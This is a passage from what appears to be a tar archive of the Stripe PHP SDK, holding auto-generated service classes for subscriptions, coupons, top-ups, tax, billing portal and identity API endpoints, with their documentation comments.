$promotionCodes * @property QuoteService $quotes * @property Radar\RadarServiceFactory $radar * @property RefundService $refunds * @property Reporting\ReportingServiceFactory $reporting * @property ReviewService $reviews * @property SetupAttemptService $setupAttempts * @property SetupIntentService $setupIntents * @property ShippingRateService $shippingRates * @property Sigma\SigmaServiceFactory $sigma * @property SourceService $sources * @property SubscriptionItemService $subscriptionItems * @property SubscriptionService $subscriptions * @property SubscriptionScheduleService $subscriptionSchedules * @property Tax\TaxServiceFactory $tax * @property TaxCodeService $taxCodes * @property TaxIdService $taxIds * @property TaxRateService $taxRates * @property Terminal\TerminalServiceFactory $terminal * @property TestHelpers\TestHelpersServiceFactory $testHelpers * @property TokenService $tokens * @property TopupService $topups * @property TransferService $transfers * @property Treasury\TreasuryServiceFactory $treasury * @property WebhookEndpointService $webhookEndpoints * // Doc: The end of the section generated from our OpenAPI spec */ class CoreServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'oauth' => OAuthService::class, // Class Map: The beginning of the section generated from our OpenAPI spec 'accountLinks' => AccountLinkService::class, 'accounts' => AccountService::class, 'accountSessions' => AccountSessionService::class, 'applePayDomains' => ApplePayDomainService::class, 'applicationFees' => ApplicationFeeService::class, 'apps' => Apps\AppsServiceFactory::class, 'balance' => BalanceService::class, 'balanceTransactions' => BalanceTransactionService::class, 'billing' => Billing\BillingServiceFactory::class, 'billingPortal' => BillingPortal\BillingPortalServiceFactory::class, 'charges' => ChargeService::class, 'checkout' => Checkout\CheckoutServiceFactory::class, 'climate' => Climate\ClimateServiceFactory::class, 'confirmationTokens' => ConfirmationTokenService::class, 'countrySpecs' => CountrySpecService::class, 'coupons' => CouponService::class, 'creditNotes' => CreditNoteService::class, 'customers' => CustomerService::class, 'customerSessions' => CustomerSessionService::class, 'disputes' => DisputeService::class, 'entitlements' => Entitlements\EntitlementsServiceFactory::class, 'ephemeralKeys' => EphemeralKeyService::class, 'events' => EventService::class, 'exchangeRates' => ExchangeRateService::class, 'fileLinks' => FileLinkService::class, 'files' => FileService::class, 'financialConnections' => FinancialConnections\FinancialConnectionsServiceFactory::class, 'forwarding' => Forwarding\ForwardingServiceFactory::class, 'identity' => Identity\IdentityServiceFactory::class, 'invoiceItems' => InvoiceItemService::class, 'invoices' => InvoiceService::class, 'issuing' => Issuing\IssuingServiceFactory::class, 'mandates' => MandateService::class, 'paymentIntents' => PaymentIntentService::class, 'paymentLinks' => PaymentLinkService::class, 'paymentMethodConfigurations' => PaymentMethodConfigurationService::class, 'paymentMethodDomains' => PaymentMethodDomainService::class, 'paymentMethods' => PaymentMethodService::class, 'payouts' => PayoutService::class, 'plans' => PlanService::class, 'prices' => PriceService::class, 'products' => ProductService::class, 'promotionCodes' => PromotionCodeService::class, 'quotes' => QuoteService::class, 'radar' => Radar\RadarServiceFactory::class, 'refunds' => RefundService::class, 'reporting' => Reporting\ReportingServiceFactory::class, 'reviews' => ReviewService::class, 'setupAttempts' => SetupAttemptService::class, 'setupIntents' => SetupIntentService::class, 'shippingRates' => ShippingRateService::class, 'sigma' => Sigma\SigmaServiceFactory::class, 'sources' => SourceService::class, 'subscriptionItems' => SubscriptionItemService::class, 'subscriptions' => SubscriptionService::class, 'subscriptionSchedules' => SubscriptionScheduleService::class, 'tax' => Tax\TaxServiceFactory::class, 'taxCodes' => TaxCodeService::class, 'taxIds' => TaxIdService::class, 'taxRates' => TaxRateService::class, 'terminal' => Terminal\TerminalServiceFactory::class, 'testHelpers' => TestHelpers\TestHelpersServiceFactory::class, 'tokens' => TokenService::class, 'topups' => TopupService::class, 'transfers' => TransferService::class, 'treasury' => Treasury\TreasuryServiceFactory::class, 'webhookEndpoints' => WebhookEndpointService::class, // Class Map: The end of the section generated from our OpenAPI spec ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } ��������������������������������������������������������������������stripe-gateway/lib/Service/BillingPortal/ConfigurationService.php�����������������������������������0000644�����������������00000005002�14720677707�0021300 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\BillingPortal; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ConfigurationService extends \Stripe\Service\AbstractService { /** * Returns a list of configurations that describe the functionality of the customer * portal. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\BillingPortal\Configuration> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/billing_portal/configurations', $params, $opts); } /** * Creates a configuration that describes the functionality and behavior of a * PortalSession. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BillingPortal\Configuration */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/billing_portal/configurations', $params, $opts); } /** * Retrieves a configuration that describes the functionality of the customer * portal. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BillingPortal\Configuration */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/billing_portal/configurations/%s', $id), $params, $opts); } /** * Updates a configuration that describes the functionality of the customer portal. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BillingPortal\Configuration */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/billing_portal/configurations/%s', $id), $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/BillingPortal/SessionService.php�����������������������������������������0000644�����������������00000001412�14720677707�0020115 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\BillingPortal; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class SessionService extends \Stripe\Service\AbstractService { /** * Creates a session of the customer portal. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BillingPortal\Session */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/billing_portal/sessions', $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/BillingPortal/BillingPortalServiceFactory.php����������������������������0000644�����������������00000001261�14720677707�0022566 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\BillingPortal; /** * Service factory class for API resources in the BillingPortal namespace. * * @property ConfigurationService $configurations * @property SessionService $sessions */ class BillingPortalServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'configurations' => ConfigurationService::class, 'sessions' => SessionService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TopupService.php���������������������������������������������������������0000644�����������������00000005471�14720677707�0015050 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class TopupService extends \Stripe\Service\AbstractService { /** * Returns a list of top-ups. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Topup> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/topups', $params, $opts); } /** * Cancels a top-up. Only pending top-ups can be canceled. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Topup */ public function cancel($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/topups/%s/cancel', $id), $params, $opts); } /** * Top up the balance of an account. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Topup */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/topups', $params, $opts); } /** * Retrieves the details of a top-up that has previously been created. Supply the * unique top-up ID that was returned from your previous request, and Stripe will * return the corresponding top-up information. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Topup */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/topups/%s', $id), $params, $opts); } /** * Updates the metadata of a top-up. Other top-up details are not editable by * design. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Topup */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/topups/%s', $id), $params, $opts); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/SubscriptionService.php��������������������������������������������������0000644�����������������00000023737�14720677707�0016432 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class SubscriptionService extends \Stripe\Service\AbstractService { /** * By default, returns a list of subscriptions that have not been canceled. In * order to list canceled subscriptions, specify <code>status=canceled</code>. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Subscription> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/subscriptions', $params, $opts); } /** * Cancels a customer’s subscription immediately. The customer will not be charged * again for the subscription. * * Note, however, that any pending invoice items that you’ve created will still be * charged for at the end of the period, unless manually <a * href="#delete_invoiceitem">deleted</a>. If you’ve set the subscription to cancel * at the end of the period, any pending prorations will also be left in place and * collected at the end of the period. But if the subscription is set to cancel * immediately, pending prorations will be removed. * * By default, upon subscription cancellation, Stripe will stop automatic * collection of all finalized invoices for the customer. This is intended to * prevent unexpected payment attempts after the customer has canceled a * subscription. However, you can resume automatic collection of the invoices * manually after subscription cancellation to have us proceed. Or, you could check * for unpaid invoices before allowing the customer to cancel the subscription at * all. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Subscription */ public function cancel($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/subscriptions/%s', $id), $params, $opts); } /** * Creates a new subscription on an existing customer. Each customer can have up to * 500 active or scheduled subscriptions. * * When you create a subscription with * <code>collection_method=charge_automatically</code>, the first invoice is * finalized as part of the request. The <code>payment_behavior</code> parameter * determines the exact behavior of the initial payment. * * To start subscriptions where the first invoice always begins in a * <code>draft</code> status, use <a * href="/docs/billing/subscriptions/subscription-schedules#managing">subscription * schedules</a> instead. Schedules provide the flexibility to model more complex * billing configurations that change over time. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Subscription */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/subscriptions', $params, $opts); } /** * Removes the currently applied discount on a subscription. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Discount */ public function deleteDiscount($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/subscriptions/%s/discount', $id), $params, $opts); } /** * Initiates resumption of a paused subscription, optionally resetting the billing * cycle anchor and creating prorations. If a resumption invoice is generated, it * must be paid or marked uncollectible before the subscription will be unpaused. * If payment succeeds the subscription will become <code>active</code>, and if * payment fails the subscription will be <code>past_due</code>. The resumption * invoice will void automatically if not paid by the expiration date. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Subscription */ public function resume($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/subscriptions/%s/resume', $id), $params, $opts); } /** * Retrieves the subscription with the given ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Subscription */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/subscriptions/%s', $id), $params, $opts); } /** * Search for subscriptions you’ve previously created using Stripe’s <a * href="/docs/search#search-query-language">Search Query Language</a>. Don’t use * search in read-after-write flows where strict consistency is necessary. Under * normal operating conditions, data is searchable in less than a minute. * Occasionally, propagation of new or updated data can be up to an hour behind * during outages. Search functionality is not available to merchants in India. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SearchResult<\Stripe\Subscription> */ public function search($params = null, $opts = null) { return $this->requestSearchResult('get', '/v1/subscriptions/search', $params, $opts); } /** * Updates an existing subscription to match the specified parameters. When * changing prices or quantities, we optionally prorate the price we charge next * month to make up for any price changes. To preview how the proration is * calculated, use the <a href="/docs/api/invoices/create_preview">create * preview</a> endpoint. * * By default, we prorate subscription changes. For example, if a customer signs up * on May 1 for a <currency>100</currency> price, they’ll be billed * <currency>100</currency> immediately. If on May 15 they switch to a * <currency>200</currency> price, then on June 1 they’ll be billed * <currency>250</currency> (<currency>200</currency> for a renewal of her * subscription, plus a <currency>50</currency> prorating adjustment for half of * the previous month’s <currency>100</currency> difference). Similarly, a * downgrade generates a credit that is applied to the next invoice. We also * prorate when you make quantity changes. * * Switching prices does not normally change the billing date or generate an * immediate charge unless: * * <ul> <li>The billing interval is changed (for example, from monthly to * yearly).</li> <li>The subscription moves from free to paid.</li> <li>A trial * starts or ends.</li> </ul> * * In these cases, we apply a credit for the unused time on the previous price, * immediately charge the customer using the new price, and reset the billing date. * Learn about how <a * href="/billing/subscriptions/upgrade-downgrade#immediate-payment">Stripe * immediately attempts payment for subscription changes</a>. * * If you want to charge for an upgrade immediately, pass * <code>proration_behavior</code> as <code>always_invoice</code> to create * prorations, automatically invoice the customer for those proration adjustments, * and attempt to collect payment. If you pass <code>create_prorations</code>, the * prorations are created but not automatically invoiced. If you want to bill the * customer for the prorations before the subscription’s renewal date, you need to * manually <a href="/docs/api/invoices/create">invoice the customer</a>. * * If you don’t want to prorate, set the <code>proration_behavior</code> option to * <code>none</code>. With this option, the customer is billed * <currency>100</currency> on May 1 and <currency>200</currency> on June 1. * Similarly, if you set <code>proration_behavior</code> to <code>none</code> when * switching between different billing intervals (for example, from monthly to * yearly), we don’t generate any credits for the old subscription’s unused time. * We still reset the billing date and bill immediately for the new subscription. * * Updating the quantity on a subscription many times in an hour may result in <a * href="/docs/rate-limits">rate limiting</a>. If you need to bill for a frequently * changing quantity, consider integrating <a * href="/docs/billing/subscriptions/usage-based">usage-based billing</a> instead. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Subscription */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/subscriptions/%s', $id), $params, $opts); } } ���������������������������������stripe-gateway/lib/Service/CouponService.php��������������������������������������������������������0000644�����������������00000007522�14720677707�0015203 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class CouponService extends \Stripe\Service\AbstractService { /** * Returns a list of your coupons. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Coupon> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/coupons', $params, $opts); } /** * You can create coupons easily via the <a * href="https://dashboard.stripe.com/coupons">coupon management</a> page of the * Stripe dashboard. Coupon creation is also accessible via the API if you need to * create coupons on the fly. * * A coupon has either a <code>percent_off</code> or an <code>amount_off</code> and * <code>currency</code>. If you set an <code>amount_off</code>, that amount will * be subtracted from any invoice’s subtotal. For example, an invoice with a * subtotal of <currency>100</currency> will have a final total of * <currency>0</currency> if a coupon with an <code>amount_off</code> of * <amount>200</amount> is applied to it and an invoice with a subtotal of * <currency>300</currency> will have a final total of <currency>100</currency> if * a coupon with an <code>amount_off</code> of <amount>200</amount> is applied to * it. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Coupon */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/coupons', $params, $opts); } /** * You can delete coupons via the <a * href="https://dashboard.stripe.com/coupons">coupon management</a> page of the * Stripe dashboard. However, deleting a coupon does not affect any customers who * have already applied the coupon; it means that new customers can’t redeem the * coupon. You can also delete coupons via the API. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Coupon */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/coupons/%s', $id), $params, $opts); } /** * Retrieves the coupon with the given ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Coupon */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/coupons/%s', $id), $params, $opts); } /** * Updates the metadata of a coupon. Other coupon details (currency, duration, * amount_off) are, by design, not editable. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Coupon */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/coupons/%s', $id), $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/SetupAttemptService.php��������������������������������������������������0000644�����������������00000001453�14720677707�0016374 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class SetupAttemptService extends \Stripe\Service\AbstractService { /** * Returns a list of SetupAttempts that associate with a provided SetupIntent. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\SetupAttempt> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/setup_attempts', $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Tax/SettingsService.php��������������������������������������������������0000644�����������������00000002427�14720677707�0016273 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Tax; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class SettingsService extends \Stripe\Service\AbstractService { /** * Retrieves Tax <code>Settings</code> for a merchant. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Settings */ public function retrieve($params = null, $opts = null) { return $this->request('get', '/v1/tax/settings', $params, $opts); } /** * Updates Tax <code>Settings</code> parameters used in tax calculations. All * parameters are editable but none can be removed once set. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Settings */ public function update($params = null, $opts = null) { return $this->request('post', '/v1/tax/settings', $params, $opts); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Tax/TaxServiceFactory.php������������������������������������������������0000644�����������������00000001527�14720677707�0016557 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Tax; /** * Service factory class for API resources in the Tax namespace. * * @property CalculationService $calculations * @property RegistrationService $registrations * @property SettingsService $settings * @property TransactionService $transactions */ class TaxServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'calculations' => CalculationService::class, 'registrations' => RegistrationService::class, 'settings' => SettingsService::class, 'transactions' => TransactionService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Tax/CalculationService.php�����������������������������������������������0000644�����������������00000002634�14720677707�0016731 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Tax; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class CalculationService extends \Stripe\Service\AbstractService { /** * Retrieves the line items of a tax calculation as a collection, if the * calculation hasn’t expired. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Tax\CalculationLineItem> */ public function allLineItems($id, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/tax/calculations/%s/line_items', $id), $params, $opts); } /** * Calculates tax based on the input and returns a Tax <code>Calculation</code> * object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Calculation */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/tax/calculations', $params, $opts); } } ����������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Tax/RegistrationService.php����������������������������������������������0000644�����������������00000004653�14720677707�0017150 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Tax; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class RegistrationService extends \Stripe\Service\AbstractService { /** * Returns a list of Tax <code>Registration</code> objects. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Tax\Registration> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/tax/registrations', $params, $opts); } /** * Creates a new Tax <code>Registration</code> object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Registration */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/tax/registrations', $params, $opts); } /** * Returns a Tax <code>Registration</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Registration */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/tax/registrations/%s', $id), $params, $opts); } /** * Updates an existing Tax <code>Registration</code> object. * * A registration cannot be deleted after it has been created. If you wish to end a * registration you may do so by setting <code>expires_at</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Registration */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/tax/registrations/%s', $id), $params, $opts); } } �������������������������������������������������������������������������������������stripe-gateway/lib/Service/Tax/TransactionService.php�����������������������������������������������0000644�����������������00000004713�14720677707�0016760 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Tax; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class TransactionService extends \Stripe\Service\AbstractService { /** * Retrieves the line items of a committed standalone transaction as a collection. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Tax\TransactionLineItem> */ public function allLineItems($id, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/tax/transactions/%s/line_items', $id), $params, $opts); } /** * Creates a Tax Transaction from a calculation, if that calculation hasn’t * expired. Calculations expire after 90 days. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Transaction */ public function createFromCalculation($params = null, $opts = null) { return $this->request('post', '/v1/tax/transactions/create_from_calculation', $params, $opts); } /** * Partially or fully reverses a previously created <code>Transaction</code>. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Transaction */ public function createReversal($params = null, $opts = null) { return $this->request('post', '/v1/tax/transactions/create_reversal', $params, $opts); } /** * Retrieves a Tax <code>Transaction</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Transaction */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/tax/transactions/%s', $id), $params, $opts); } } �����������������������������������������������������stripe-gateway/lib/Service/AccountSessionService.php������������������������������������������������0000644�����������������00000001541�14720677707�0016673 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class AccountSessionService extends \Stripe\Service\AbstractService { /** * Creates a AccountSession object that includes a single-use token that the * platform can use on their front-end to grant client-side API access. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\AccountSession */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/account_sessions', $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Identity/VerificationReportService.php�����������������������������������0000644�����������������00000002501�14720677707�0021337 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Identity; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class VerificationReportService extends \Stripe\Service\AbstractService { /** * List all verification reports. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Identity\VerificationReport> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/identity/verification_reports', $params, $opts); } /** * Retrieves an existing VerificationReport. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Identity\VerificationReport */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/identity/verification_reports/%s', $id), $params, $opts); } } 